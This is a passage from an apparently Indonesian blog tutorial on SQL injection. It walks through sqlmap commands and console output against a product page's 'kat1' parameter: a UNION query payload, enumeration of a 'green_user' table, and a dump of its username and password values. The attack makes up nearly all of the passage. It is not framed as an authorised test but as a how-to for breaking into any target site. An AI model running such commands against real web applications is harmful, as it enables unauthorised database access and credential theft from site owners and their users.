back-end DBMS: MySQL 5
[19:47:10] [INFO] fetching columns for table 'green_user' on database 'green_dat
adedaunan'
Database: green_datadedaunan
Table: green_user
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| password | varchar(6)  |
| sbg      | char(1)     |
| username | varchar(20) |
+----------+-------------+


[19:47:15] [INFO] Fetched data logged to text files under 'C:\sqlmap\output\www.
targetkamu.co.id'


[*] shutting down at: 19:47:15
Sekarang kita lihat username dan passwordnya dari column tersbut


sqlmap.py -u http://www.targetkamu.co.id/product.php?kat1=3 -D green_datadedaunan -T green_users -C username,password,sbg --dump

yang berwaran hijau tegantung web tersbit memilik db , tabel, column apa



C:\sqlmap>sqlmap.py -u http://www.targetkamu.co.id/product.php?kat1=3 -D green_da
tadedaunan -T green_user -C username,password,sbg --dump


    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net


[*] starting at: 19:47:44


[19:47:44] [INFO] using 'C:\sqlmap\output\www.targetkamu.co.id\session' as sessio
n file
[19:47:44] [INFO] resuming injection data from session file
[19:47:44] [INFO] resuming back-end DBMS 'mysql 5' from session file
[19:47:44] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: kat1
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: kat1=3 UNION ALL SELECT CONCAT(CHAR(58,122,104,120,58),CHAR(82,70,1
13,82,104,106,74,65,116,103),CHAR(58,106,113,113,58)), NULL#
---


[19:47:48] [INFO] the back-end DBMS is MySQL


web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5
[19:47:48] [INFO] fetching columns 'username, password, sbg' entries for table '
green_user' on database 'green_datadedaunan'
Database: green_datadedaunan
Table: green_user
[1 entry]
+----------+-----+----------+
| password | sbg | username |
+----------+-----+----------+
| hijau    | 1   | marbun   |
+----------+-----+----------+


[19:47:53] [INFO] Table 'green_datadedaunan.green_user' dumped to CSV file 'C:\s
qlmap\output\www.targetkamu.co.id\dump\green_datadedaunan\green_user.csv'
[19:47:53] [INFO] Fetched data logged to text files under 'C:\sqlmap\output\www.
target.co.id'


[*] shutting down at: 19:47:53

Lihat itu username dan passwordnya ^ atau yg gambar ini

semoga mudeng dengan tutorial yang saya buat , sekian terimakasih

Read more »

Friends Blog